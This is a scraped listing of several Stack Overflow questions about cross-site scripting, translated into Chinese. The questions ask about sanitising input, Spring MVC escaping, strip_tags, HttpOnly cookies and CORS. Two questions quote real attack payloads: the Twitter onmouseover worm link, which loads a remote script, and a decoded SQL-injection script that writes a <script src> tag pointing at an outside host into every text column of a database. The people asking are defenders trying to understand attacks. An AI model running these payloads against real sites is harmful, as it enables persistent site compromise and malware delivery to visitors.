用户等于不值得信任.永远不要相信不值得信任的用户输入.我明白了.但是,我想知道什么时候消毒输入的最佳时间是.例如,您是否盲目存储用户输入,然后在访问/使用它时对其进行清理,或者您是否立即清理输入然后存储此"已清理"的版本?也许除了这些之外我还有其他一些方法.我更倾向于第一种方法,因为仍然必须谨慎地处理来自用户输入的任何数据,其中"清理的"数据可能仍然在不知不觉中或意外地变得危险.无论哪种方式,人们认为哪种方法最好,原因是什么?
我应该怎么做才能阻止Spring MVC中的XSS?现在我只是把我输出用户文本的所有地方放到JSTL <c:out>标签或fn:escapeXml()函数中,但这似乎容易出错,因为我可能会错过一个地方.
是否有一种简单的系统方法来防止这种情况?也许像过滤器或什么?我通过@RequestParam在控制器方法上指定参数来收集输入.
你能解释一下今天Twitter上究竟发生了什么吗?基本上,漏洞利用导致人们发布包含此链接的推文:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
这在技术上是XSS攻击还是其他什么?
以下是Twitter主页的外观:http://www.flickr.com/photos/travelist/6832853140/
我试图使用jQuery的ajax方法在不同的域上搜索Web服务.在做了一些研究之后,它看起来似乎不允许这是为了防止跨站点脚本.
我遇到了一个包含这一行的工作:
$.support.cors = true;
Run Code Online (Sandbox Code Playgroud)
在我的JavaScript代码的顶部.据我所知,这可以在jQuery中实现跨站点脚本.
这行代码是否会使我的网站更容易受到攻击?我一直听说XSS作为安全问题被讨论过,XSS有合法用途吗?
是否有已知的XSS或其他攻击使其超过了
$content = "some HTML code";
$content = strip_tags($content);
echo $content;
Run Code Online (Sandbox Code Playgroud)
?
该手册有一个警告:
此函数不会修改允许使用allowable_tags的标记上的任何属性,包括恶意用户在发布将向其他用户显示的文本时可能滥用的样式和onmouseover属性.
但这与allowable_tags仅使用参数有关.
没有设置允许的标签,是否strip_tags()容易受到任何攻击?
Chris Shiflett似乎说这是安全的:
使用成熟解决方案
尽可能使用成熟的现有解决方案,而不是尝试创建自己的解决方案.像strip_tags()和htmlentities()这样的函数是不错的选择.
它是否正确?请尽可能引用来源.
我知道HTML净化器,htmlspecialchars()等.我不是在寻找消毒HTML的最佳方法.我只想知道这个具体问题.这是想出了一个理论性的问题在这里.
托管我们网站的公司在部署之前审查我们的代码 - 他们最近告诉我们这个:
永远不应该直接操纵HTML字符串,因为这会打开我们潜在的XSS漏洞.相反,总是使用DOM api创建元素......可以是jQuery或直接DOM api.
例如,而不是
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );
Run Code Online (Sandbox Code Playgroud)
他们告诉我们这样做
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
Run Code Online (Sandbox Code Playgroud)
这是真的吗?任何人都可以给我们一个XSS攻击的例子,它可以像第一个那样利用HTML字符串吗?
我试图发布然后获得一个简单的表单时得到这个chrome标志.
问题是开发者控制台没有显示任何相关信息,我自己找不到问题的根源.
是否有更多细节可供选择?查看触发错误的代码片段来修复它...
灵感来自这篇CodingHorror文章" 保护你的Cookie:HttpOnly "
你怎么设置这个属性?在网络配置的某个地方?
我想在这里发帖,因为它与编码有很大关系,本周我必须在我公司的旧ASP(经典)网站上清理.
我们受到了几天前运行的SQL注入攻击的打击,但是我正在摸不着对于SQL服务器(通过这些SQL查询)的"损坏".
说实话,我认为这是非常巧妙的,并且我的公司因为拥有一个几乎没有消毒输入的旧的10年历史的网站而错.
攻击:
122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%+ AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-
它解释为:( 我想要了解的)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)
我们已经恢复了备份(预注入)并浏览了整个应用程序并清理了所有输入语句.我们的服务器是防火墙的,所以没有直接的SQL访问,但我想知道还剩下什么,我不得不承认SQL查询是我的头脑.
有人可以解决它并为我解释攻击SQL吗?
APOLOGIES我更新了完整的DUMP和SQL
xss ×10
security ×4
html ×2
javascript ×2
jquery ×2
asp-classic ×1
asp.net ×1
cookies ×1
csrf ×1
httponly ×1
jsf ×1
jsp ×1
owasp ×1
php ×1
sanitization ×1
spring ×1
spring-mvc ×1
sql ×1
strip-tags ×1
twitter ×1
user-input ×1